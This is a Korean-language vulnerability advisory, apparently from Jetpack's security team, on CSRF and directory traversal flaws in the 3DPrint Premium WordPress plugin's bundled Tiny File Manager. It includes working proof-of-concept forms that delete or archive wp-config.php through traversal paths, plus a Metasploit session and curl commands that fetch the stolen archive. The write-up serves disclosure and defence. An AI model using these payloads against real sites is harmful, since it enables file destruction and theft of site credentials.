3DPrint Premium 플러그인에서 발견된 취약점

게시 됨: 2022-12-13

WordPress 플러그인 3DPrint의 프리미엄 버전은 파일 관리자 기능이 활성화된 경우 CSRF(Cross Site Request Forgery) 및 디렉터리 통과 공격에 취약합니다. 이러한 취약성으로 인해 공격자는 사이트 구성 파일과 같은 민감한 파일을 포함하여 영향을 받는 사이트의 임의 파일 및 디렉터리를 삭제하거나 액세스할 수 있으며, 이는 다시 전체 사이트 탈취로 이어질 수 있습니다.

최근 실험적 서명에 의해 표시되는 몇 가지 잠재적 오탐지를 살펴보는 동안 3DPrint 프리미엄 플러그인에서 우리를 당혹스럽게 하는 몇 가지 코드를 발견했습니다.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

이 스니펫은 플러그인의 include 디렉토리에 있는 Tiny File Manager PHP 모듈에서 발견되었지만 원래 Tiny File Manager 프로젝트에서는 발견되지 않았습니다. WordPress 역할 기반 액세스 제어와 통합하려는 의도로 주입된 것으로 보입니다.

관련 없는 모듈에서 이와 같은 WordPress 코드 파일을 로드하는 것은 일반적으로 문제가 있다는 신호이므로 추가 조사를 하기로 결정했습니다.

관찰력 있는 독자는 모듈에 대한 액세스가 관리자 역할을 가진 사용자로 제한된다는 것을 알 수 있지만 임시 검사는 없습니다. Tiny File Manager에 자체 CSRF 보호 기능이 있다면 괜찮겠지만 그렇지 않았기 때문에 이 코드는 CSRF 공격에 취약할 수 있습니다. (Tiny File Manager는 문제를 인지한 후 CSRF 보호 기능을 추가했습니다. 버전 2.5.0 이상은 사용하기에 훨씬 더 안전할 것입니다!)

복잡한 요소는 Tiny File Manager가 3DPrint 프리미엄을 설치할 때 패키지에 포함되지 않지만 활성화되면 요청 시 다운로드된다는 것입니다. 작성 당시 다운로드한 버전은 2.4.4 버전이지만 3DPrint 개발자가 많이 수정했으며 Tiny File Manager 리포지토리에서 직접 다운로드하는 것이 아니라 해당 도메인에서 다운로드합니다.

대부분의 변경 사항은 플러그인에서 사용하지 않는 기능을 제거하고 경로를 하드 코딩하고 파일 관리자가 액세스할 수 있는 항목을 제한하는 것과 같은 몇 가지 다른 변경 사항을 포함합니다. 또한 Tiny File Manager에 내장된 인증 및 권한 부여 기능이 비활성화되었으며 위의 WordPress 역할 시스템과의 통합으로 대체되었습니다.

수정된 액세스 제어와 3DPrint 플러그인에 포함된 Tiny File Manager의 조합이 외부 공격자에게 악용될 수 있는 몇 가지 취약점을 발견했습니다. 여기에는 중요한 파일을 삭제하거나 다운로드하여 전체 사이트를 탈취할 가능성이 있습니다. 이러한 취약점은 Tiny File Manager 자체의 디렉터리 통과 취약점과 함께 수정된 액세스 제어의 nonce 검사 부족을 악용합니다.

우리는 3DPrint 플러그인과 Tiny File Manager 프로젝트의 공급업체에 연락을 시도했습니다. 이 중 Tiny File Manager 프로젝트의 개발자만이 우리에게 응답하고 우리가 제출한 문제를 수정했습니다.

이러한 공격으로부터 즉시 보호할 Jetpack Scan의 일부인 새로운 WAF를 확인하십시오. 현재 베타 버전입니다. Jetpack Scan은 또한 취약한 구성 요소를 감지하고 이를 제거하는 데 도움을 줍니다.

Tiny File Manager 모듈은 필요에 따라 다운로드 및 설치되므로 플러그인 버전과 사용 중인 Tiny File Manager 버전이 반드시 일치하지는 않습니다. 그러나 일단 설치되면 수동으로 삭제하고 다시 활성화하는 것 외에는 Tiny File Manager 모듈을 업데이트하는 쉬운 방법이 없는 것 같습니다.

이러한 이유로 파일 관리자가 활성화된 경우 3DPrint의 모든 버전이 아래 취약점에 취약한 것으로 간주합니다.

취약점

1. 임의 파일/디렉토리 삭제로 이어지는 CSRF

  • 플러그인: 3D프린트
  • 플러그인 슬러그: 3dprint
  • 플러그인 URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • 취약한 버전: 모두
  • 고정 버전: 없음
  • CVSS 점수: 8.2(높음, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

포함된 Tiny File Manager 버전(버전 2.4.4)의 대량 삭제 기능은 디렉터리 통과에 대해 제대로 보호되지 않으며 CSRF 보호 기능도 없습니다. 이를 통해 공격자는 관리자를 속여 서버의 여러 파일 또는 디렉터리를 재귀적으로 삭제하도록 할 수 있습니다.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

이는 groupdelete POST 매개변수를 임의의 값에 전달하고 file 매개변수에서 삭제할 파일/디렉토리 배열을 전달하여 악용될 수 있습니다. 변수 $new_pathFM_ROOT_PATH 와 전달된 파일 이름을 단순 연결하여 재귀 삭제 함수 fm_rdelete() 에 전달합니다. fm_rdelete() 주어진 경로 이름에 대한 유효성 검사를 수행하지 않기 때문에 이 코드는 디렉터리 통과 공격에 취약합니다.

다음은 개념 증명의 예입니다.

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

모든 경로는 서버의 wp-content/uploads/p3d/ 디렉토리에 상대적입니다. 로그인한 관리자가 버튼을 클릭하여 부자가 되면 사이트의 wp-config.php 파일과 함께 2020년의 업로드가 삭제됩니다.

2. 임의 다운로드로 이어지는 CSRF

  • 플러그인: 3D프린트
  • 플러그인 슬러그: 3dprint
  • 플러그인 URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • 취약한 버전: 모두
  • 고정 버전: 없음
  • CVSS 점수: 7.4(높음, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

포함된 버전의 Tiny File Manager(버전 2.4.4)에서 선택한 파일의 zip 또는 tar 아카이브를 다운로드하는 기능은 디렉토리 순회에 대해 보호되지 않으며 CSRF 보호 기능이 없습니다. 이를 통해 공격자는 관리자를 속여 구성 파일 또는 기타 중요한 콘텐츠를 포함하여 사이트의 임의 파일 및 디렉터리로 zip 또는 tar 아카이브를 생성하도록 할 수 있습니다.

아카이브는 일반 3DPring 업로드 디렉토리인 wp-content/uploads/p3d/ 에 있습니다. 파일 이름은 공격자가 부분적으로만 제어할 수 있지만 상대적으로 무차별 대입이 쉬울 정도로 충분히 예측 가능합니다. 위조된 요청이 전송된 시간을 알고 있는 경우 교양 있는 추측을 하는 것도 쉽지 않습니다.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

group 및 임의의 값으로 설정된 zip 또는 tar 변수와 함께 사후 요청을 보내면 file 매개변수에 지정된 파일로 아카이브가 생성됩니다. 현재 날짜와 시간은 보관된 파일과 동일한 기본 이름을 갖는 보관용 파일 이름에 추가되거나 여러 파일이 함께 보관된 경우 "아카이브"가 됩니다. 아카이브는 3DPrint 업로드 디렉터리에 생성되지만 파일의 경로 이름은 삭제되지 않으며 이 디렉터리 외부의 경로를 포함할 수 있으므로 디렉터리 통과 공격에 취약합니다.

이 취약점을 악용하기 위해 우리는 취약한 사이트에 악성 페이로드가 포함된 자체 제출 양식 역할을 하는 Metasploit용 간단한 페이로드 모듈을 만들었습니다. 전송된 개념 증명 페이로드는 다음과 같습니다.

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Metasploit 모듈은 양식이 전송된 시점의 타임스탬프를 기록하므로 생성된 아카이브의 올바른 파일 이름을 쉽게 추측할 수 있습니다.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

요청의 타임스탬프에서 생성된 아카이브의 파일 이름을 어떻게 추론할 수 있는지 확인하십시오. 이 경우 서버 컨테이너는 현지 시간대보다 한 시간대 뒤에 실행됩니다.

추천

설치된 파일 관리자의 버전은 설치된 플러그인 버전과 독립적이므로 플러그인의 고정 버전을 권장할 수 없습니다.

나중에 새 버전이 출시되면 파일 관리자 모듈을 업데이트하는 쉬운 방법도 찾지 못했습니다.

이러한 이유로 파일 관리자 구성 요소가 활성화된 경우 3DPrint 프리미엄 플러그인의 모든 버전이 취약한 것으로 간주합니다.

파일 관리자 모듈을 비활성화 하고 사이트에서 파일을 제거하는 것이 좋습니다.

가장 쉬운 방법 wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php 파일이 있으면 삭제하는 것입니다.

결론

3DPrint 프리미엄 플러그인의 모든 버전은 파일 관리자 모듈이 사이트에서 활성화된 경우 CSRF 및 디렉토리 통과 공격에 취약합니다. 이는 WordPress.org 플러그인 저장소에서 다운로드한 플러그인의 무료 버전에는 영향을 미치지 않습니다.

Jetpack은 이러한 유형의 취약점으로부터 웹사이트를 보호하기 위해 열심히 노력하고 있습니다. 악성 파일 검사 및 백업을 포함하는 사이트 보안 계획을 세우는 것이 좋습니다. Jetpack 보안 번들은 사이트와 방문자의 안전을 보장하는 훌륭한 WordPress 보안 옵션 중 하나입니다. 이 제품에는 실시간 맬웨어 검색, 사이트 백업, Akismet의 댓글 및 양식 스팸 보호, 무차별 대입 공격 보호 등이 포함됩니다.

학점

Harald Eilertsen이 연구하고 Benedict Singer, Rob Pugh, Jen Swisher 및 Jetpack Scan 팀이 피드백 및 수정을 제공했습니다.

타임라인

  • 2022-09-08: 발견 사실을 인지하고 조사를 시작했습니다.
  • 2022-10-25: 공급업체에 처음으로 연락
  • 2022-11-01: 공급업체가 다른 채널을 통해 두 번째로 연락함
  • 2022-11-08: 대량 삭제 취약점 공개(CVE-2022-3899)
  • 2022년 11월 15일: Tiny File Manager의 개발자에게 CSRF 보호 부족 ​​및 디렉토리 순회 취약성에 대해 문의했습니다.
  • 2022년 11월 19일: Tiny File Manager 2.5.0이 출시되어 CSRF 문제를 수정했지만 디렉터리 순회 문제는 수정하지 않았습니다.
  • 2022-12-13: 공시